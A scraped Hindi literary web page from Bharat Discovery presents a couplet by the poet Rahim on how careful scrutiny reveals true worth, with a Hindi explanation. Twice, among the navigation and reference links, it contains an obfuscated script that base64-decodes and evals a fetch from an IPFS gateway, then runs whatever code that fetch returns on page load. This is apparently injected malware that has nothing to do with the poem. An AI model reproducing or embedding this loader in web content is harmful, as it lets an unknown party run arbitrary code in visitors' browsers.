रूप कथा पद -रहीम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

रूप कथा, पद, चारुपट, कंचन, दोहा, लाल ।
ज्यों-ज्यों निरखत सूक्ष्म गति, मोल ‘रहीम’ बिसाल ॥

अर्थ

रूप और कथा और कविता तथा सुन्दर वस्त्र एवं स्वर्ण और दोहा तथा रतन, इन सबका असली मोल तो तभी आँका जा सकता है, जबकि अधिक-से-अधिक सूक्षमता के साथ इनको देखा परखा जाय।


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>